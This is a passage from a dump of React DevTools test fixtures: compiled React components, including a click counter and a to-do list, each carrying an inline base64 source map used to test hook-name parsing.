Db21wb25lbnQpO1xuXG4gIHJldHVybiBudWxsO1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IHtDb21wb25lbnR9O1xuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiIsIklubmVyQ29tcG9uZW50Iiwic3RhdGUiXSwibWFwcGluZ3MiOiJDQUFEO1l5QkNBO2FMQ0EsQVdEQTtnQjNCREEifV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbnRhaW5pbmdTdHJpbmdTb3VyY2VNYXBwaW5nVVJMLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFFQTtBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuLy8gP3NvdXJjZU1hcHBpbmdVUkw9KFteXFxzJ1wiXSspL2dtXG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIChcbiAgICA8ZGl2PlxuICAgICAgPHA+WW91IGNsaWNrZWQge2NvdW50fSB0aW1lczwvcD5cbiAgICAgIDxidXR0b24gb25DbGljaz17KCkgPT4gc2V0Q291bnQoY291bnQgKyAxKX0+Q2xpY2sgbWU8L2J1dHRvbj5cbiAgICA8L2Rpdj5cbiAgKTtcbn1cbiJdLCJ4X3JlYWN0X3NvdXJjZXMiOltbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJjb3VudCJdLCJtYXBwaW5ncyI6IkNBQUQ7ZTRCQ0EsQVdEQSJ9XV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkV4YW1wbGUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJzZXRDb3VudCJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50LCBzZXRDb3VudF0gPSB1c2VTdGF0ZSgwKTtcblxuICByZXR1cm4gKFxuICAgIDxkaXY+XG4gICAgICA8cD5Zb3UgY2xpY2tlZCB7Y291bnR9IHRpbWVzPC9wPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXsoKSA9PiBzZXRDb3VudChjb3VudCArIDEpfT5DbGljayBtZTwvYnV0dG9uPlxuICAgIDwvZGl2PlxuICApO1xufVxuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiIsImNvdW50Il0sIm1hcHBpbmdzIjoiQ0FBRDthNEJDQSxBV0RBIn1dXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIklubGluZVJlcXVpcmUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJyZXF1aXJlIiwidXNlU3RhdGUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFBQTs7Ozs7Ozs7QUFTTyxTQUFTQSxTQUFULEdBQXFCO0FBQzFCLFFBQU0sQ0FBQ0MsS0FBRCxJQUFVQyxPQUFPLENBQUMsT0FBRCxDQUFQLENBQWlCQyxRQUFqQixDQUEwQixDQUExQixDQUFoQjs7QUFFQSxTQUFPRixLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50XSA9IHJlcXVpcmUoJ3JlYWN0JykudXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIGNvdW50O1xufVxuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiJdLCJtYXBwaW5ncyI6IkNBQUQifV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIlRvRG9MaXN0LmpzIl0sIm5hbWVzIjpbIkxpc3RJdGVtIiwiaXRlbSIsInJlbW92ZUl0ZW0iLCJ0b2dnbGVJdGVtIiwiaGFuZGxlRGVsZXRlIiwiaGFuZGxlVG9nZ2xlIiwiaXNDb21wbGV0ZSIsInRleHQiLCJMaXN0IiwicHJvcHMiLCJuZXdJdGVtVGV4dCIsInNldE5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJzZXRJdGVtcyIsImlkIiwidWlkIiwic2V0VUlEIiwiaGFuZGxlQ2xpY2siLCJoYW5kbGVLZXlQcmVzcyIsImV2ZW50Iiwia2V5IiwiaGFuZGxlQ2hhbmdlIiwiY3VycmVudFRhcmdldCIsInZhbHVlIiwiaXRlbVRvUmVtb3ZlIiwiZmlsdGVyIiwiaXRlbVRvVG9nZ2xlIiwiaW5kZXgiLCJmaW5kSW5kZXgiLCJzbGljZSIsImNvbmNhdCIsIm1hcCJdLCJtYXBwaW5ncyI6Ijs7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFHTyxTQUFTQSxRQUFULENBQWtCO0FBQUNDLEVBQUFBLElBQUQ7QUFBT0MsRUFBQUEsVUFBUDtBQUFtQkMsRUFBQUE7QUFBbkIsQ0FBbEIsRUFBa0Q7QUFDdkQsUUFBTUMsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0QsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPQyxVQUFQLENBRmtCLENBQXJCO0FBSUEsUUFBTUcsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0YsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPRSxVQUFQLENBRmtCLENBQXJCO0FBSUEsc0JBQ0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsa0JBQ0U7QUFBUSxJQUFBLE9BQU8sRUFBRUMsWUFBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FB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Q0FBUjtBQVNELEdBZmdCLEVBZ0JqQixDQUFDZixLQUFELENBaEJpQixDQUFuQjtBQW1CQSxzQkFDRSxvQkFBQyxjQUFEO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLFlBREYsZUFFRTtBQUNFLElBQUEsSUFBSSxFQUFDLE1BRFA7QUFFRSxJQUFBLFdBQVcsRUFBQyxrQkFGZDtBQUdFLElBQUEsS0FBSyxFQUFFRixXQUhUO0FBSUUsSUFBQSxRQUFRLEVBQUVXLFlBSlo7QUFLRSxJQUFBLFVBQVUsRUFBRUgsY0FMZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQUZGLGVBU0U7QUFBUSxJQUFBLFFBQVEsRUFBRVIsV0FBVyxLQUFLLEVBQWxDO0FBQXNDLElBQUEsT0FBTyxFQUFFTyxXQUEvQztBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxrQkFDRTtBQUFNLElBQUEsSUFBSSxFQUFDLEtBQVg7QUFBaUIsa0JBQVcsVUFBNUI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsV0FERixDQVRGLGVBY0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsS0FDR0wsS0FBSyxDQUFDbUIsR0FBTixDQUFVOUIsSUFBSSxpQkFDYixvQkFBQyxRQUFEO0FBQ0UsSUFBQSxHQUFHLEVBQUVBLElBQUksQ0FBQ2EsRUFEWjtBQUVFLElBQUEsSUFBSSxFQUFFYixJQUZSO0FBR0UsSUFBQSxVQUFVLEVBQUVDLFVBSGQ7QUFJRSxJQUFBLFVBQVUsRUFBRUMsVUFKZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQURELENBREgsQ0FkRixDQURGO0FBMkJEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7RnJhZ21lbnQsIHVzZUNhbGxiYWNrLCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gTGlzdEl0ZW0oe2l0ZW0sIHJlbW92ZUl0ZW0sIHRvZ2dsZUl0ZW19KSB7XG4gIGNvbnN0IGhhbmRsZURlbGV0ZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICByZW1vdmVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgcmVtb3ZlSXRlbV0pO1xuXG4gIGNvbnN0IGhhbmRsZVRvZ2dsZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICB0b2dnbGVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgdG9nZ2xlSXRlbV0pO1xuXG4gIHJldHVybiAoXG4gICAgPGxpPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXtoYW5kbGVEZWxldGV9PkRlbGV0ZTwvYnV0dG9uPlxuICAgICAgPGxhYmVsPlxuICAgICAgICA8aW5wdXRcbiAgICAgICAgICBjaGVja2VkPXtpdGVtLmlzQ29tcGxldGV9XG4gICAgICAgICAgb25DaGFuZ2U9e2hhbmRsZVRvZ2dsZX1cbiAgICAgICAgICB0eXBlPVwiY2hlY2tib3hcIlxuICAgICAgICAvPnsnICd9XG4gICAgICAgIHtpdGVtLnRleHR9XG4gICAgICA8L2xhYmVsPlxuICAgIDwvbGk+XG4gICk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBMaXN0KHByb3BzKSB7XG4gIGNvbnN0IFtuZXdJdGVtVGV4dCwgc2V0TmV3SXRlbVRleHRdID0gdXNlU3RhdGUoJycpO1xuICBjb25zdCBbaXRlbXMsIHNldEl0ZW1zXSA9IHVzZVN0YXRlKFtcbiAgICB7aWQ6IDEsIGlzQ29tcGxldGU6IHRydWUsIHRleHQ6ICdGaXJzdCd9LFxuICAgIHtpZDogMiwgaXNDb21wbGV0ZTogdHJ1ZSwgdGV4dDogJ1NlY29uZCd9LFxuICAgIHtpZDogMywgaXNDb21wbGV0ZTogZmFsc2UsIHRleHQ6ICdUaGlyZCd9LFxuICBdKTtcbiAgY29uc3QgW3VpZCwgc2V0VUlEXSA9IHVzZVN0YXRlKDQpO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gdXNlQ2FsbGJhY2soKCkgPT4ge1xuICAgIGlmIChuZXdJdGVtVGV4dCAhPT0gJycpIHtcbiAgICAgIHNldEl0ZW1zKFtcbiAgICAgICAgLi4uaXRlbXMsXG4gICAgICAgIHtcbiAgICAgICAgICBpZDogdWlkLFxuICAgICAgICAgIGlzQ29tcGxldGU6IGZhbHNlLFxuICAgICAgICAgIHRleHQ6IG5ld0l0ZW1UZXh0LFxuICAgICAgICB9LFxuICAgICAgXSk7XG4gICAgICBzZXRVSUQodWlkICsgMSk7XG4gICAgICBzZXROZXdJdGVtVGV4dCgnJyk7XG4gICAgfVxuICB9LCBbbmV3SXRlbVRleHQsIGl0ZW1zLCB1aWRdKTtcblxuICBjb25zdCBoYW5kbGVLZXlQcmVzcyA9IHVzZUNhbGxiYWNrKFxuICAgIGV2ZW50ID0+IHtcbiAgICAgIGlmIChldmVudC5rZXkgPT09ICdFbnRlcicpIHtcbiAgICAgICAgaGFuZGxlQ2xpY2soKTtcbiAgICAgIH1cbiAgICB9LFxuICAgIFtoYW5kbGVDbGlja10sXG4gICk7XG5cbiAgY29uc3Q